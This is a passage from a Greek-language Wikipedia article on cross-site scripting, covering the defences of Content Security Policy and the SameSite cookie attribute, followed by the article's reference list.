αποτρέπονται από αυτό.[22]

Απενεργοποίηση των scripts κατ' επιλογή[Επεξεργασία | επεξεργασία κώδικα]

Η Πολιτική Προστασίας Περιεχομένου (CSP)[25] επιτρέπει στα HTML έγγραφα να απενεργοποιούν μονάχα ορισμένα scripts. Ο φυλλομετρητής ελέγχει κάθε script σύμφωνα με την πολιτική αυτή προτού αποφασίσει εάν θα το εκτελέσει ή όχι. Όσο η πολιτική αυτή επιτρέπει την εκτέλεση μονάχα αξιόπιστων scripts και αποτρέπει την δυναμική φόρτωση κώδικα, ο φυλλομετρητής δεν θα εκτελέσει προγράμματα από μη έμπιστους συγγραφείς ανεξαρτήτως της δομής του HTML εγγράφου. Έτσι, το φορτίο εναποτίθεται στους δημιουργούς της πολιτικής. Αξίζει, ωστόσο, να αναφερθεί πως σύμφωνα με μία μελέτη η πρακτική αυτή δεν κρίνεται ιδιαίτερα αποτελεσματική.[26] Οι πιο σύγχονες πολιτικές κάνουν χρήση τυχαίων ή ψευδοτυχαίων αριθμών για να μαρκάρουν τα scripts εντός ενός HTML έγγραφου ως ασφαλή για εκτέλεση αντί η πολιτική να υφίσταται ανεξαρτήτως του περιεχομένου της σελίδας.[27]

SameSite παράμετρος cookie[Επεξεργασία | επεξεργασία κώδικα]

Όταν ένα cookie έχει οριστεί με την παράμετρο SameSite=Strict, τότε αφαιρείται από όλα τα αιτήματα που έχουν διαφορετική προέλευση (origin). Όταν η παράμετρος ορίζεται ως SameSite=Lax, τότε αφαιρείται από όλα τα μη ασφαλή αιτήματα διαφορετικής προέλευσης (δηλαδή αιτήματα διαφορετικά των GET, OPTIONS και TRACE).[28] Η παράμετρος αυτή υλοποιείται στον Google Chrome από την έκδοση 51, στον Firefox από την έκδοση 60 και στον Edge από την έκδοση 16.

Στο λήμμα αυτό έχει ενσωματωθεί κείμενο από το λήμμα XSS (έκδοση 971226765) της Αγγλικής Βικιπαίδειας, η οποία διανέμεται υπό την GNU FDL και την CC-BY-SA 3.0. (ιστορικό/συντάκτες).

Παραπομπές[Επεξεργασία | επεξεργασία κώδικα]

  1. «Same Origin Policy - Web Security». www.w3.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  2. kexugit. «Happy 10th birthday Cross-Site Scripting!». docs.microsoft.com (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  3. Arthur, Charles (2010-09-21). «The Twitter hack: how it started and how it worked» (στα αγγλικά). The Guardian. ISSN 0261-3077. https://www.theguardian.com/technology/blog/2010/sep/21/twitter-hack-explained-xss-javascript. Ανακτήθηκε στις 2020-08-13. 
  4. «Samy Kamkar - The MySpace Worm». samy.pl. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  5. «BindShell.Net: The Cross-site Scripting Virus». web.archive.org. 26 Οκτωβρίου 2013. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  6. «#9521 (XSS with $(location.hash) and $(#) is needed?) – jQuery - Bug Tracker». bugs.jquery.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  7. «DOM based XSS prevention cheat sheet» (PDF). OWASP. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  8. «Angular». angular.io. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  9. «Self-XSS Facebook scam attempts to trick users into hacking themselves - MajorGeeks». www.majorgeeks.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  10. «Mutation XSS in Google Search». Acunetix (στα Αγγλικά). 10 Απριλίου 2019. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  11. «HttpOnly - Set-Cookie HTTP response header | OWASP». owasp.org (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  12. «Using HTTP cookies». MDN Web Docs (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  13. «XSS Attack Examples (Cross-Site Scripting Attacks)». www.thegeekstuff.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  14. Brodkin, Jon (4 Οκτωβρίου 2007). «The top 10 reasons Web sites get hacked». Network World (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020. 
  15. «Cross Site Scripting Prevention - OWASP Cheat Sheet Series». cheatsheetseries.owasp.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  16. «JSFuck - Write any JavaScript with 6 Characters: []()!+». www.jsfuck.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  17. 17,0 17,1 «ModSecurity: Open Source Web Application Firewall - ModSecurity: Features: PDF Universal XSS Protection». web.archive.org. 23 Μαρτίου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  18. «Ajax and Mashup Security». web.archive.org. 3 Απριλίου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  19. «What Is Web 2.0». oreilly.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  20. support.microsoft.com https://support.microsoft.com/en-us/help/182569/internet-explorer-security-zones-registry-entries-for-advanced-users. Ανακτήθηκε στις 13 Αυγούστου 2020.  Missing or empty |title= (βοήθεια)
  21. «Opera Labs». web.archive.org. 17 Μαΐου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  22. 22,0 22,1 «NoScript - JavaScript/Java/Flash blocker for a safer Firefox experience! - features - InformAction». noscript.net. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  23. «Overview of Interactive Methods». web.archive.org. 18 Ιουνίου 2008. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  24. «'Most websites' failing disabled» (στα αγγλικά). 2006-12-05. http://news.bbc.co.uk/2/hi/technology/6210068.stm. Ανακτήθηκε στις 2020-08-13. 
  25. «Content Security Policy Level 3». www.w3.org. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  26. Weichselbaum, Lukas (2016). «CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy». Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf. 
  27. «Strict CSP - Content Security Policy». csp.withgoogle.com. Ανακτήθηκε στις 13 Αυγούστου 2020. 
  28. Goodwin, Mark; West, Mike. «Same-site Cookies». tools.ietf.org (στα Αγγλικά). Ανακτήθηκε στις 13 Αυγούστου 2020.